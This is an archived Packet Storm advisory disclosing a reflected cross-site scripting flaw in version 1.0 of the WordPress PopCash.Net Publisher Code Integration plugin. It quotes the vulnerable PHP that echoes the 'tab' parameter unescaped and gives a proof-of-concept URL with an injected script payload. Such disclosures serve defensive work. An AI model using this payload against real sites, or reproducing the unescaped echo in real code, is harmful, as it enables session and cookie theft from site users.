exploit the possibilities

WordPress PopCash.Net Publisher Code Integration 1.0 Cross Site Scripting

WordPress PopCash.Net Publisher Code Integration 1.0 Cross Site Scripting
Posted Oct 12, 2017
Authored by Ricardo Sanchez

WordPress PopCash.Net Publisher Code Integration plugin version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 4a863fef46a91466e8e4b234006dbbcd

WordPress PopCash.Net Publisher Code Integration 1.0 Cross Site Scripting

Change Mirror Download
Class  Input Validation Error
Remote Yes
Reflected Yes

Credit Ricardo Sanchez
Vulnerable PopCash.Net Publisher Code Integration plugin 1.0

PopCash.Net Publisher Code Integration plugin is prone to a cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the "tab" value is not filter correcly:
<div class="row">
<div class="col-md-4 pull-left" style="margin-bottom:15px;"><input
type="button" onclick="location.href='admin.php?page=popcash-net&tab=<?php
echo $_GET['tab'] ?>&d_status=switch';" value="<?php echo
(get_option('popcash_net_disabled') == 1 ? 'Enable PopUnder Code' :
'Disable PopUnder Code'); ?>" class="button-secondary" /></div>
<div class="col-md-4 col-xs-8 col-md-offset-0 col-xs-offset-2"><?php
echo pcit_code_disabled(); ?></div>
</div>


Demo url:*http://localhost/wordpress/wp-admin/admin.php?page=popcash-net&tab=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
<http://localhost/wordpress/wp-admin/admin.php?page=popcash-net&tab=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E>*
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    11 Files
  • 12
    Aug 12th
    11 Files
  • 13
    Aug 13th
    17 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close